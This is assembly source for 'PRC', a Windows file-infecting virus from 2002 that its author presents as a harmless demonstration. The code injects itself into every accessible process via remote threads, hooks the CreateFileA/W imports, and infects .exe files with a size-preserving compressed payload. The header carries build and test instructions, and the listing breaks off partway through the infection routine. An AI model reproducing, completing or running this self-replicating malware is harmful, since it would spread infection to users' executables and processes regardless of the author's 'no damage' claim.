;********************************************************************* ;* * ;* The program information * ;* * ;* Program Name: PRC * ;* Current Version: 0.91(not under strict test) * ;* Completed on 11-25, 2002 * ;* * ;* This program is something like a virus. But it does not contain * ;* any damage code. So it won't do harm to your system. It just * ;* demonstrates a way of developing a resident virus * ;* under Windows. * ;* * ;* You can connect me [[email protected]] for technic discussions * ;* * ;*===================================================================* ;* * ;* How to complile this program? * ;* tasm32 /m /ml pv.asm, pv.obj * ;* tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj, * ;* pv.exe, , kernel32.lib user32.lib * ;* The two libraries of kernel32.lib and user32.lib can be * ;* attained in the BC++5.5 compiler. * ;* * ;*===================================================================* ;* History * ;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* ;* * ;* Version: 0.9 * ;* Completed on 11-25, 2002 * ;* * ;* 1) It can inject itself into the space of all the active * ;* processes in the system if access is permitted. * ;* 2) It can hook the File Storage API functions of CreateFileA * ;* and CreateFileW. If the hook is successfully installed, * ;* all file operations that the process makes will be * ;* monitored by our code. * ;* 3) It has the ability to infect the PE files with the * ;* extension ".exe". After the PE file has been infected, * ;* neither its size will increase, nor it will be infected * ;* a more time. * ;* * ;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* ;* * ;* Version: 0.91 * ;* under modification * ;* * ;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, * ;* WriteFile and SetFilePointer to access the target file. The * ;* program size become much shorter. * ;* 2) Correct the bugs that the file is not closed if the file * ;* fails to be infected. * ;* * ;********************************************************************* .386P .model Flat, Stdcall ; If you want to play with the program, follow me. ; 1) Do change the value of 'DEBUG' unless you know exactly what the option will ; affect the behavior of the program. ; 2) Compile and run the program. ; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few ; seconds, then search all EXE files containing the string "prcv0.9". If ; any file has been found, it means the program works! If no file are ; found, try more other files, because there are some EXE files the program ; can't infect. ; 4) I develop the program under Windows 2000. I don't know what will happen ; if it runs under Windows 98 or Windows XP. ;********************************************************************* FALSE = 0 TRUE = 1 DEBUG = TRUE NO_EXCEPTION_HANDLER = TRUE TRACE_REMOTE_THREAD = 0 SKIP_CURRENT_PROCESS = 1 INFECT_ALL_PROCESSES = 1 NOT_INFECT_FILES = 0 ERROR_DIAGNOSE = 0 ;********************************************************************* TH32CS_SNAPMODULE = 00000008h
FILE_BEGIN = 0 FILE_CURRENT = 1 FILE_END = 2 OPEN_EXISTING = 00000003h if NOT_INFECT_FILES OPEN_ALWAYS = 00000004h endif FILE_ATTRIBUTE_NORMAL = 00000080h FILE_SHARE_READ = 00000001h FILE_SHARE_WRITE = 00000002h GENERIC_READ = 80000000h GENERIC_WRITE = 40000000h FILE_MAP_WRITE = 00000002h MB_PRECOMPOSED = 00000001h MB_COMPOSITE = 00000002h CP_ACP = 0 CP_OEMCP = 1 CP_MACCP = 2 CP_THREAD_ACP = 3 PAGE_READWRITE = 00000004h FLAG_IN_DATA_SECTION = 00000001h FLAG_USE_TWO_SECTIONS = 00000002h MajorVersion = 0 MinorVersion = 9 MAX_PATH = 260 ; sizeof(IMAGE_NT_HEADERS) ; Section Header offset 0xF8
; FieldName Offset ;--------------------------------------------------------------------- ; AddressOfEntryPoint 0x28 ; SizeOfHeaders 0x54 ; SizeOfStackCommit 0x64 ; DataDirectory 0x78 ;********************************************************************* ;* * ;* Declare funtion prototype * ;* * ;********************************************************************* GetLastError PROTO MessageBoxA PROTO :DWORD, :DWORD, :DWORD, :DWORD GetModuleHandleA PROTO :DWORD GetProcAddress PROTO :DWORD, :DWORD CreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD CloseHandle PROTO :DWORD FindFirstFileA PROTO :DWORD, :DWORD FindNextFileA PROTO :DWORD, :DWORD
printf PROTO :DWORD ;********************************************************************* ;* * ;* Entry code section * ;* * ;********************************************************************* _TEXT segment use32 public 'CODE'
VirtualEntry: call GetLastError call GetCurrentEipToEbx $A: ;mov esi, 00400000h ;mov eax, [esi+0000003Ch] ;lea edi, [esi+eax] ;mov edx, [edi+00000080h] ;mov eax, [edx+esi] ;add eax, esi ;mov ecx, [eax+00000010h] mov edx, offset GetLastError add edx, 2 mov ecx, [edx] sub ecx, 00400000h mov eax, offset RvaOfFirstThunkOfKernel32 sub eax, offset $A mov [ebx+eax], ecx mov eax, offset OriginalEntryPoint sub eax, offset $A mov ecx, offset lb_ExitCurrentProcess sub ecx, 00400000h ;add ebx, eax ;push ebp ;mov ebp, esp ;push 00400000h mov [ebx+eax], ecx jmp EntryOfVirusCode lb_ExitCurrentProcess: ret _TEXT ends ;********************************************************************* ;* * ;* Data section * ;* * ;********************************************************************* _DATA segment use32 public 'DATA' ;---- Error Messages szExceptionCaused db "Exception error captured!",0 szError db "Error",0 FileNameToFind db 'g:\testfile\' FileNameFound = $ db '*.exe', 0 db 260 dup (?) TestFileW dw 'G', ':', '\', 'P', 'R', 'O', '\', 'T', 'a', 's', 'm', '\' dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0 TestFileA db 'G:\PRO\TASM\test.exe', 0 W32FindData db 140h dup(?) _DATA ends ;********************************************************************* ;* * ;* Main code section * ;* * ;********************************************************************* VirSegment segment use32 public 'PRC'
MAX_WND_SIZE = 1024 OFFSET_CODING_LENGTH = 10 M = 3 BaseOfVirusCode = $ ;********************************************************************* ;* * ;* RestoreCompressedData() * ;* * ;* Remarks: * ;* Restore the compressed data * ;* * ;* Parameters: * ;* [Esi] * ;* Point to the buffer containing decompression information * ;* * ;* Return Value: * ;* None. * ;* * ;********************************************************************* RestoreCompressedData: cld mov edi, [ebp][lpImageBaseBaseOfProcess] lea edx, [ebx][SizeOfTransmission-@B] push edx lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B] push ecx lodsd push eax mov edx, edi ;< lodsd ;< add edx, eax ;< pDataBuffer push edx ;< ;< call LZ77Decompress add edi, [esi] mov esi, ecx mov ecx, 'HOLD' SizeOfTransmission = $-4 push ecx push esi push PAGE_READWRITE mov esi, edi call InvokeVirtualProtectEx pop esi pop ecx push ecx push edi cld rep movsb pop esi pop ecx push dword ptr [ebx][dwOldProtect-@B] call InvokeVirtualProtectEx lb_ExitRestoreCompressedData: ret RvaOfEntryPoint = $ dd (offset EntryOfVirusCode - 00400000h)
RvaOfFirstThunkOfKernel32 = $ dd 0 DecompressionParametersA = $ dd 0 ;Total bits afetr compression. dd 0 ;Rva of the data buffer where the compressed data are stored in. dd 0 ;Rva of the data buffer where the compressed data are restored to. DecompressionParametersB = $ dd 0 dd 0 dd 0 EntryOfVirusCode: XX=-4 lpImageBaseBaseOfProcess = XX if NO_EXCEPTION_HANDLER XX=XX-4 else XX=XX-12 endif lpImageBaseOfKernel32 = XX XX=XX-4 hSnapShot = XX XX=XX-4 hProcessHandle = XX XX=XX-4 lpBaseOfCodeInRemoteProcess = XX pushad sub esp, VIRUS_BOOTING_SIZE mov edi, esp call @A @A = $ pop ebx lea eax, [ebx][EntryOfVirusCode-@A] mov ecx, [ebx][RvaOfEntryPoint-@A] sub eax, ecx lea esi, [ebx][BaseOfVirusCode-@A] mov ecx, VIRUS_PHYSICAL_SIZE cld rep movsb lea ebx, [esp][@B-BaseOfVirusCode] jmp ebx @B = $ push ebp mov ebp, esp push eax ; Initialize lpImageBaseBaseOfProcess add [ebx][OriginalEntryPoint-@B], eax ; Set up our exception handler. So when any exception occurs, ; our exception handler will get control first, and we can quit ; the virus code safely. ;===================================================================== ife NO_EXCEPTION_HANDLER lea eax, [esp-8] xor esi, esi xchg eax, fs:[esi] lea ecx, [ebx][ExceptionHandler-@B] push ecx push eax endif ;===================================================================== ; Let's locate the image base of the module 'Kernel32.dll'. lb_LoopOfLocateKernel32: pop eax push eax mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B] mov eax, [eax+ecx] add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4 lb_LoopOfCheck64KBoundaries: and eax, 0FFFF0000h cmp word ptr [eax], 'ZM' jnz lb_TryNextBoundary mov ecx, [eax+0000003Ch] add ecx, eax cmp dword ptr [ecx], 00004550h jnz lb_TryNextBoundary mov edx, [ecx+00000078h] add edx, eax mov esi, [edx+0000000Ch] add esi, eax lea edi, [ebx][NameOfKernel32-@B] call strcmpi jz lb_ImageBaseOfKernel32IsFound jmp lb_LoopOfLocateKernel32 lb_TryNextBoundary: sub eax, 00010000h jmp lb_LoopOfCheck64KBoundaries lb_ImageBaseOfKernel32IsFound: push eax ; Intialize lpImageBaseOfKernel32 mov esi, edx lea edi, [ebx][IfNameTable-@B] ; Let get the entry points of the Windows API functions which ; the virus code must use from the module 'kernel32.dll'. lb_LoopOfGetEntryAddressOfApiFunctions: mov ecx, [edi] jecxz lb_AllAddressesGotten push eax push edi lea edi, [ebx+ecx] call GetProcedureAddress test eax, eax jz lb_ExitVirusProgram pop edi mov [edi][CallAddressTable-IfNameTable], eax pop eax add edi, 4 jmp lb_LoopOfGetEntryAddressOfApiFunctions lb_AllAddressesGotten:
lea esi, [ebx][DecompressionParametersA-@B] call RestoreCompressedData jmp lb_NoSecondCompressedSection JumpOffset = $-1 NextStatement = $ lea esi, [ebx][DecompressionParametersB-@B] call RestoreCompressedData lb_NoSecondCompressedSection: ;//} @C = @B ; Now all the entry addresses of the Api functions have been relocated. ; That is very import. ;
; Let's go. ;{ push 0 push 2 call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C] test eax, eax jz lb_AllProcessesEnumerated push eax ; Initialize hSnapShot lea eax, [ebx][ProcessEntry32-@C] mov dword ptr [eax], 00000128h push eax push dword ptr [ebp][hSnapShot] call dword ptr [ebx][lpfnProcess32First-@C] test eax, eax jz lb_AllProcessesEnumerated lb_LoopOfEnumerateAllProcesses: ife INFECT_ALL_PROCESSES ife SKIP_CURRENT_PROCESS lea esi, [ebx][pe_szExeFile-@C] lea edi, [ebx][TargetProcessName-@C] call strcmpi jz lb_TryNextProcess call [ebx][lpfnGetCurrentProcessId-@C] cmp eax, [ebx][pe_th32ProcessID-@C] jnz lb_TryNextProcess else lea esi, [ebx][pe_szExeFile-@C] lea edi, [ebx][TargetProcessName-@C] call strcmpi jnz lb_TryNextProcess endif endif lb_TargetProcessFound: mov eax, [ebx][pe_th32ProcessID-@C] push eax push 0 push 001F0FFFh ; PROCESS_ALL_ACCESS call [ebx][lpfnOpenProcess-@C] test eax, eax jz lb_TryNextProcess push eax ; Initailize hProcessHandle push 00000004h ; PAGE_READWRITE push 00001000h ; MEM_COMMIT push VIRUS_ALIGN_SIZE push 0 push eax call [ebx][lpfnVirtualAllocEx-@C] ;push eax ;< ;call GetLastError ;< Debug Code ;pop eax ;< test eax, eax jz lb_ExitVirusProgram xchg eax, esi push esi ; lpBaseOfCodeInRemoteProcess lea edi, [ebx][ReturnValueFromRemoteProcess-@C] xor edx, edx mov [edi], edx ; Initialize return value push edx push VIRUS_ALIGN_SIZE lea ecx, [ebx][BaseOfVirusCode-@C] push ecx push esi push dword ptr [ebp][hProcessHandle] call [ebx][lpfnWriteProcessMemory-@C] test eax, eax jz lb_ExitVirusProgram ife SKIP_CURRENT_PROCESS push ebx endif xor ecx, ecx push ecx push ecx push ecx lea edx, [esi][RemoteThread-BaseOfVirusCode] push edx push ecx push ecx push dword ptr [ebp][hProcessHandle] call [ebx][lpfnCreateRemoteThread-@C] ;test eax, eax ;jz lb_ExitVirusProgram ife SKIP_CURRENT_PROCESS pop ebx endif push dword ptr [ebp][hProcessHandle] call [ebx][lpfnCloseHandle-@C] lb_TryNextProcess: lea eax, [ebx][ProcessEntry32-@C] push eax push dword ptr [ebp][hSnapShot] call dword ptr [ebx][lpfnProcess32Next-@C] test eax, eax jz lb_ExitVirusProgram jmp lb_LoopOfEnumerateAllProcesses lb_AllProcessesEnumerated: push dword ptr [ebp][hSnapShot] call [ebx][lpfnCloseHandle-@C] lb_ExitVirusProgram: ;jmp lb_DirectlyExitVirusProgram lb_DirectlyExitVirusProgram: ife NO_EXCEPTION_HANDLER pop dword ptr fs:[0] pop ecx endif mov esp, ebp pop ebp add esp, VIRUS_BOOTING_SIZE popad push offset lb_ExitCurrentProcess OriginalEntryPoint = $-4 ret ;********************************************************************* ;* * ;* Get the current EIP into EAX. You can use this way to locate * ;* the virus code. * ;* * ;********************************************************************* GetCurrentEipToEax:
pop eax jmp eax ;********************************************************************* ;* * ;* Get the current EIP into EBX. You can use this way to locate * ;* the virus code. * ;* * ;********************************************************************* GetCurrentEipToEbx: pop ebx jmp ebx ;********************************************************************* ;* * ;* strcmpi() * ;* * ;* Remarks: * ;* This routine compare two strings, case-insensitive. * ;* * ;* Parameters: * ;* [ESI] * ;* Point to string1. * ;* [EDI] * ;* Point to string2 * ;* * ;* Return Value: * ;* If these two strings are identical, * ;* ZF flag will be set. * ;* If these two strings are not identical, * ;* ZF flag will be cleared. * ;* * ;********************************************************************* strcmpi:
push esi push edi push eax push ecx xor eax, eax xor ecx, ecx lb_LoopOfCompareStrings: mov al, [esi] mov cl, [edi] inc esi inc edi cmp eax, 'A' jb lb_NotAsciiCharacter cmp eax, 'z' ja lb_NotAsciiCharacter cmp eax, 'Z' jbe lb_IsAsciiCharacter cmp eax, 'a' jae lb_IsAsciiCharacter jmp lb_NotAsciiCharacter lb_IsAsciiCharacter: ; if the character is a ascii character, just convert it to lower-case. or eax, 20h or ecx, 20h lb_NotAsciiCharacter: cmp eax, ecx jnz lb_StringsNotEqual jecxz lb_StringsIsEqual jmp lb_LoopOfCompareStrings lb_StringsIsEqual: lb_StringsNotEqual: pop ecx pop eax pop edi pop esi ret ;********************************************************************* ;* * ;* IsAllZero() * ;* [Param1] * ;* [Param2] * ;* * ;* Remarks: * ;* This routine check if the contents of a specified buffer * ;* are all zero. * ;* * ;* Parameters: * ;* [Param1] * ;* Point to the buffer. * ;* [Param2] * ;* The size of the buffer. * ;* * ;* Return Value: * ;* If the buffer is all filled with Zero, * ;* Z-flag will be set. * ;* If the buffer is not all filled with Zero, * ;* Z-flag will be cleared. * ;* * ;********************************************************************* IsAllZero: push esi push ecx push eax xor eax, eax mov esi, [esp+00000010h] mov ecx, [esp+00000014h] cld lp_GetNextByteToCompare: lodsb test eax, eax jnz lb_ExitIsAllZero loop lp_GetNextByteToCompare lb_ExitIsAllZero: pop eax pop ecx pop esi ret 8 ;********************************************************************* ;* * ;* RvaAddressToFileMappingAddress() * ;* * ;* Remarks: * ;* This routine converts the RVA address to the file * ;* offset address. * ;* * ;* Parameters: * ;* [Eax] * ;* The RVA address * ;* * ;* Return Value: * ;* If the RVA address can be converted, the file offset * ;* address will be returned in EAX. Otherwise, NULL will be * ;* returned in EAX. * ;* * ;********************************************************************* RvaAddressToFileMappingAddress: push esi mov esi, [ebp][lpNtHeaders] ; Get Nt Heads movzx ecx, word ptr [esi+00000006h] lea esi, [esi+0000000F8H] lp_CheckAllSections: mov edx, [esi+0000000Ch] cmp eax, edx jb lb_CheckNextSection add edx, [esi+00000010h] cmp eax, edx jae lb_CheckNextSection sub eax, [esi+0000000Ch] add eax, [esi+00000014h] add eax, [ebp][lpFileMapping] jmp lb_QuitRvaToFilePointer lb_CheckNextSection: add esi, 00000028h ;40 loop lp_CheckAllSections xor eax, eax lb_QuitRvaToFilePointer: pop esi ret ;********************************************************************* ;* * ;* InstallApiHook() * ;* [Param1] * ;* [Param2] * ;* * ;* Remarks: * ;* The routine tries to install a hook on the specified * ;* Windows API function. * ;* * ;* Parameters: * ;* [Eax] * ;* The image base of the module on which the hook function * ;* will be installed. * ;* [Edx] * ;* The RVA of the import descriptor array. * ;* [Esi] * ;* Point to the string which contains the name of the API * ;* function on which the hook will be installed. * ;* [Param1] * ;* The entry address of the hook of the API function. * ;* [Param2] * ;* Point to the variable which saves the original entry * ;* address of the API function. * ;* * ;* Return Value: * ;* If the hook has been successfully installed on the API * ;* function, CF flag will be set. Otherwise, CF flag will * ;* be cleared. * ;* * ;********************************************************************* InstallApiHook:
PARAMETERS_BASE = 4 + 3*4 push eax push edx push esi push edi lb_LoopOfCheckImportDescriptors: push (SIZE_OF_IMPORT_DESCRIPTOR) push edx call IsAllZero jz lb_ApiHookInstallationFail mov ecx, [edx] jecxz lb_TryNextImportDescriptor add ecx, eax lb_LoopOfCheckDataThunks: mov edi, [ecx] test edi, edi jz lb_TryNextImportDescriptor test edi, 80000000h jnz lb_TryNextDataThunk add edi, eax inc edi inc edi call strcmpi jz lb_ApiFunctionIsFound lb_TryNextDataThunk: add ecx, 4 jmp lb_LoopOfCheckDataThunks lb_TryNextImportDescriptor: add edx, SIZE_OF_IMPORT_DESCRIPTOR jmp lb_LoopOfCheckImportDescriptors lb_ApiFunctionIsFound: mov edi, [edx+00000010h] sub edi, [edx] add ecx, edi push PAGE_READWRITE mov esi, ecx xor ecx, ecx call InvokeVirtualProtectEx test eax, eax jz lb_ApiHookInstallationFail mov eax, [esi] ;< mov ecx, [esp+00000014h] ;< mov edx, [ecx] ;< cmp [eax], edx ;< jz lb_ApiHookAlreadyInstalled ;< mov edx, [esp+00000018h] ;< Save the original entry address of mov [edx], eax ;< the API function mov [esi], ecx ;Modify the entry address of the API function push dword ptr [ebx][dwOldProtect-@X] xor ecx, ecx call InvokeVirtualProtectEx test eax, eax jz lb_ApiHookInstallationFail stc jmp lb_ExitInstallApiHook lb_ApiHookInstallationFail: lb_ApiHookAlreadyInstalled:
clc lb_ExitInstallApiHook: pop edi pop esi pop edx pop eax ret 8 ;********************************************************************* ;* * ;* Remarks: * ;* The rountine run in the context of a remote process. It will * ;* try to install a hook on the API functions of CreateFileA * ;* and CreateFileW * ;* * ;* Parameters: * ;* [Param1]: * ;* The thread which call CreateRemoteThread to create this * ;* thread pass the parameter. The parameter is not used here. * ;* * ;* Return Value: * ;* If the hooks have been successfully installed, the return * ;* value is 1, otherwise -1 will be returned. * ;* * ;********************************************************************* XX=-4 hSnapShotOfModuleEnumeration = XX XX=XX-4 lpModuleEntry32 = XX XX=XX-4 dwReturnValue = XX XX=XX-4
RemoteThread: ; The follow statements looks like a dead loop. Yes, it is so. ; But they are helpful in tracing the thread in the remote process. ; When the thread is created in the remote process, it will ; immediately runes into the dead-loop. It won't go out unitil ; somebody help it. First you can activate the process in the ; context of whom the thread has been created. Now you can ; activate SoftIce by pressing CTRL+D. You have a very big chance ; to get the breakpoint which is exactly located in the dead-loop. ; Now you can modify ECX register to any non-zero value. The ; dead loop no longer exists. And you can trace thread in the ; context of the remote process. if TRACE_REMOTE_THREAD xor ecx, ecx jecxz $ endif push ebp mov ebp, esp call GetCurrentEipToEbx @Xd: add ebx, @X - @Xd push 0 push TH32CS_SNAPMODULE call [ebx][lpfnCreateToolhelp32Snapshot-@X] test eax, eax jz lb_ExitRemoteThread push eax ;Initialzie hSnapShotOfModuleEnumeration lea edi, [ebx][ModuleEntry32-@X] mov dword ptr [edi], 00000224h push edi ;Initialize lpModuleEntry32 push -1 ;Initialize dwReturnValue push edi push eax call [ebx][lpfnModule32First-@X] test eax, eax jz lb_ExitRemoteThread lb_LoopOfEnumerateModulesOfCurrentProcess: mov eax, [edi][me_modBaseAddr-ModuleEntry32] mov ecx, [eax+0000003Ch] lea edx, [eax+ecx] mov ecx, [edx+00000080h] jecxz lb_TryNextModule lea edx, [eax+ecx] ;push 247C8B60h lea esi, [ebx][n_CreateFileW-@X] lea ecx, [ebx][OriginalEntryOfCreateFileW-@X] push ecx lea ecx, [ebx][HookOfCreateFileW-@X] push ecx call InstallApiHook jnc lb_TryToInstallHookOnCreateFileA push 1 pop dword ptr [ebp][dwReturnValue] lb_TryToInstallHookOnCreateFileA: ;push 24748B60h lea esi, [ebx][n_CreateFileA-@X] lea ecx, [ebx][OriginalEntryOfCreateFileA-@X] push ecx lea ecx, [ebx][HookOfCreateFileA-@X] push ecx call InstallApiHook jnc lb_TryNextModule push 1 pop dword ptr [ebp][dwReturnValue] lb_TryNextModule: push edi push dword ptr [ebp][hSnapShotOfModuleEnumeration] call [ebx][lpfnModule32Next-@X] test eax, eax jz lb_ExitRemoteThread jmp lb_LoopOfEnumerateModulesOfCurrentProcess lb_ExitRemoteThread: push dword ptr [ebp][hSnapShotOfModuleEnumeration] call [ebx][lpfnCloseHandle-@X] pop eax mov esp, ebp pop ebp cmp eax, 1 jz lb_ApiHookSuccessfullyinstalled pop ecx pop edx push 00004000h push VIRUS_ALIGN_SIZE lea edx, [ebx][BaseOfVirusCode-@X] push edx push -1 push ecx jmp [ebx][lpfnVirtualFreeEx-@X] lb_ApiHookSuccessfullyinstalled: mov byte ptr [ebx][IsBusy-@X], 0 ; Initialize the Busy Flag ret 04 ;********************************************************************* ;* * ;* InvokeVirtualProtectEx() * ;* [Param1] * ;* * ;* Remarks: * ;* Invoke the Windows API function of VirtualProtectEx to * ;* change R/W access of the specified memory block. * ;* * ;* Parameters: * ;* [Esi]: * ;* Pointer to the start address of the buffer whose R/W access * ;* will be changed. * ;* [Ecx]: * ;* The size of the buffer. * ;* [Param1]: * ;* New R/W access for the buffer. * ;* * ;* Return Value: * ;* The value returned returned from VirtualProtectEx. * ;* * ;********************************************************************* InvokeVirtualProtectEx: call GetCurrentEipToEax @8 = $ pop dword ptr [eax][ReturnFromInvokeVirtualProtectEx-@8] add eax, dwOldProtect - @8 pop edx push eax push edx test ecx, ecx jnz lb_UseSpecifiedSize mov ecx, 00001000h lb_UseSpecifiedSize: push ecx mov edx, esi and edx, 0FFFFF000h push edx push -1 call dword ptr [eax][lpfnVirtualProtectEx-dwOldProtect] push 'HOLD' ReturnFromInvokeVirtualProtectEx = $-4 ret ;********************************************************************* ;* ;* Hook functions on the API functions of CreateFileA and ;* CreateFileW. When someting want to call the API function of ;* CreateFileA or CreateFileW anyway, our hook functions will get ;* called first. You can do anything you want in the hook ;* functions. And then you will call the real CreateFileA or ;* CreateFileW function which is exported by kernel32.dll to ;* complete the file creation request. ;* ;********************************************************************* ;HANDLE CreateFile( ; LPCTSTR lpFileName, // file name ; DWORD dwDesiredAccess, // access mode ; DWORD dwShareMode, // share mode ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD ; DWORD dwCreationDisposition, // how to create ; DWORD dwFlagsAndAttributes, // file attributes ; HANDLE hTemplateFile // handle to template file ; ) ; The stack is like the following figure when FindFirstFile is called ; ______________________________ ; | Return Address | <<== ESP (Low Address) ; |______________________________| ; | lpFileName | ; |______________________________| ; | dwDesiredAccess | ; |______________________________| ; | dwShareMode | ; |______________________________| ; | lpSecurityAttributes | ; |______________________________| ; | dwCreationDisposition | ; |______________________________| ; | dwFlagsAndAttributes | ; |______________________________| ; | hTemplateFile | ; |______________________________| ; ; ; After PUSHAD statement is executed, the stack looks like this: ; ______________________________ ; | EDI | 000h: | <<== ESP ; |______________________________| | ; | ESI | 004h: | ; |______________________________| | ; | EBP | 008H | ; |______________________________| | ; | ESP | 00CH | pushad ; |______________________________| | ; | EDX | 010h | ; |______________________________| | ; | ECX | 014H | ; |______________________________| | ; | EBX | 018H | ; |______________________________| | ; | EAX | 01CH | ; |______________________________| |__ ; | Return Address | 020H ; |______________________________| ; | lpFileName | 024h ; |______________________________| ; | dwDesiredAccess | 028h ; |______________________________| ; | dwShareMode | 02CH ; |______________________________| ; | lpSecurityAttributes | 030H ; |______________________________| ; | dwCreationDisposition | 034H ; |______________________________| ; | dwFlagsAndAttributes | 038H ; |______________________________| ; | hTemplateFile | 03CH ; |______________________________|
HookOfCreateFileW:
pushad mov edi, [esp+00000024h] call InfectPeFile popad push 'Hold' OriginalEntryOfCreateFileW = $-4 ret HookOfCreateFileA:
pushad mov esi, [esp+00000024h] call GetCurrentEipToEax @0: lea edi, [eax+00001000h][BaseOfVirusCode-@0] ;lea edi, [eax+00000E00h][BaseOfVirusCode-@0] push 0000200h push edi push -1 push esi ;push MB_PRECOMPOSED push MB_COMPOSITE push CP_THREAD_ACP call [eax][lpfnMultiByteToWideChar-@0] test eax, eax jz lb_ExitHookOfCreateFileA call InfectPeFile lb_ExitHookOfCreateFileA: popad push 'Hold' OriginalEntryOfCreateFileA = $-4 ret ;********************************************************************* ;* * ;* InfectPeFile() * ;* * ;* Remarks: * ;* Infect the specified PE file with our virus code. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to a null-terminated wide-character string containing * ;* the PE file name. * ;* * ;* Return Value: * ;* None. * ;* * ;********************************************************************* X=-4 XX=-4 tmpVar = XX dwNumberOfBytesRead = (tmpVar) dwNumberOfBytesWritten = (tmpVar) XX=XX-4 i = XX ulAddressOfVCode = XX XX=XX-4 pSectionOfOriginalDataAndCode = XX DWORDSofCompressionInfo = 6 XX=(XX)-(4*DWORDSofCompressionInfo) CompressionInfoAA = XX XX=(XX)-(4*DWORDSofCompressionInfo) CompressionInfoBB = XX off_pSection = 0000h off_OriginalVirtualAddress = 0004h off_pCompressedDataBuffer = 0008h off_ulNumTotalBits = 000Ch off_ulNumUsedBytes = 0010h off_ulNumFreeBytes = 0014h XX=XX-4 SIZE_OF_LOCAL_VARS=X-XX lpszFileNameToOpen = XX XX=XX-4 hFileHandle = XX XX=XX-4 hFileMappingHandle = XX XX=XX-4 lpFileMapping = XX XX=XX-4 dwTotalFileSize = XX XX=XX-4 lpNtHeaders = XX XX=XX-4 ulInformation = XX XX=XX-4 InfectPeFile: push ebp mov ebp, esp call GetCurrentEipToEbx RelocE = $ add ebx, @X - RelocE lea eax, [ebx][IsBusy-@X] cmp byte ptr [eax], 0 jnz lb_IsBusyNow inc byte ptr [eax] sub esp, SIZE_OF_LOCAL_VARS push edi ; initialize lpszFileNameToOpen if NOT_INFECT_FILES xor ecx, ecx push ecx push FILE_ATTRIBUTE_NORMAL push (OPEN_ALWAYS) push ecx push (FILE_SHARE_READ OR FILE_SHARE_WRITE) push (GENERIC_READ OR GENERIC_WRITE) lea eax, [ebx][LogFileName-@X] push eax call [ebx][lpfnCreateFileA-@X] cmp eax, -1 jz lb_ExitInfectPeFile mov esi, eax xor ecx, ecx push FILE_END push ecx push ecx push esi call [ebx][lpfnSetFilePointer-@X] push 0000200h lea edi, [ebx+00002000h][BaseOfVirusCode-@X] push edi push -1 lea eax, [ebx][pe_szExeFile-@X] push eax push MB_COMPOSITE push CP_ACP call [ebx][lpfnMultiByteToWideChar-@X] test eax, eax jz lb_LogFail push 0 lea ecx, [ebp][dwNumberOfBytesWritten] push ecx add eax, eax dec eax dec eax push eax push edi push esi call [ebx][lpfnWriteFile-@X] test eax, eax jz lb_LogFail push dword ptr ':' mov eax, esp push 0 lea ecx, [ebp][dwNumberOfBytesWritten] push ecx push 2 push eax push esi call [ebx][lpfnWriteFile-@X] test eax, eax jz lb_LogFail pop eax pop edi push edi xor eax, eax lp_FindNullWChar: movzx ecx, word ptr [edi] jecxz lb_WStringEnd inc eax inc eax inc edi inc edi jmp lp_FindNullWChar lb_WStringEnd: pop edi push 0 lea ecx, [ebp][dwNumberOfBytesWritten] push ecx push eax push edi push esi call [ebx][lpfnWriteFile-@X] test eax, eax jz lb_LogFail push dword ptr 000A000Dh mov eax, esp push 0 lea ecx, [ebp][dwNumberOfBytesWritten] push ecx push 4 push eax push esi call [ebx][lpfnWriteFile-@X] test eax, eax jz lb_LogFail lb_LogFail: push esi call [ebx][lpfnCloseHandle-@X] jmp lb_ExitInfectPeFile endif xor eax, eax mov esi, edi lp_FindTheEndOfWideString: movzx ecx, word ptr [esi] jecxz lb_WideStringTerminate inc esi inc esi jmp lp_FindTheEndOfWideString lb_WideStringTerminate: xor eax, eax push 4 pop ecx lp_Convert4WideCharsToAnsiChars: shl eax, 8 dec esi dec esi mov al, [esi] loop lp_Convert4WideCharsToAnsiChars or eax, 20202000h cmp eax, 'exe.' jnz lb_ExitInfectPeFile if DEBUG mov edx, [esi-4] or edx, 00200020h cmp edx, 00740073H jnz lb_ExitInfectPeFile mov edx, [esi-8] or edx, 00200020h cmp edx, 00650074H jnz lb_ExitInfectPeFile endif push edi call [ebx][lpfnGetFileAttributesW-@X] cmp eax, -1 jz lb_ExitInfectPeFile xchg eax, esi push FILE_ATTRIBUTE_NORMAL ;< push edi ;< Try to change file attributes call [ebx][lpfnSetFileAttributesW-@X] ;< test eax, eax jz lb_ExitInfectPeFile ;Fail to set the file attributes to FILE_ATTRIBUTE_NORMAL xor ecx, ecx push ecx push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push ecx push (FILE_SHARE_READ OR FILE_SHARE_WRITE) push (GENERIC_READ OR GENERIC_WRITE) push edi call [ebx][lpfnCreateFileW-@X] cmp eax, -1 jz lb_FileOpenFail push eax ;Initialize hFileHandle push esi ;< push edi ;< Restore original file attributes. call [ebx][lpfnSetFileAttributesW-@X] ;< xor ecx, ecx push ecx push ecx push ecx push PAGE_READWRITE push ecx push dword ptr [ebp][hFileHandle] call [ebx][lpfnCreateFileMappingW-@X] cmp eax, -1 jz lb_CreateFileMappingFail push eax ; Initialize hFileMappingHandle xor ecx, ecx push ecx push ecx push ecx push FILE_MAP_WRITE push eax call [ebx][lpfnMapViewOfFile-@X] test eax, eax jz lb_MapViewOfFileFail push eax ;Initialize lpFileMapping push 0 push dword ptr [ebp][hFileHandle] call [ebx][lpfnGetFileSize-@X] cmp eax, -1 ;Is the return value INVALID_FILE_SIZE?? jz lb_StopInfecting cmp eax, 12 * 1024 jb lb_StopInfecting push eax ;Initialize dwTotalFileSize mov eax, [ebp][lpFileMapping] cmp word ptr [eax], 'ZM' jnz lb_StopInfecting mov ecx, [eax+0000003Ch] ;Maybe the file is not a PE file. So you must cmp ecx, [ebp][dwTotalFileSize] ;ensure the 003Ch offset is 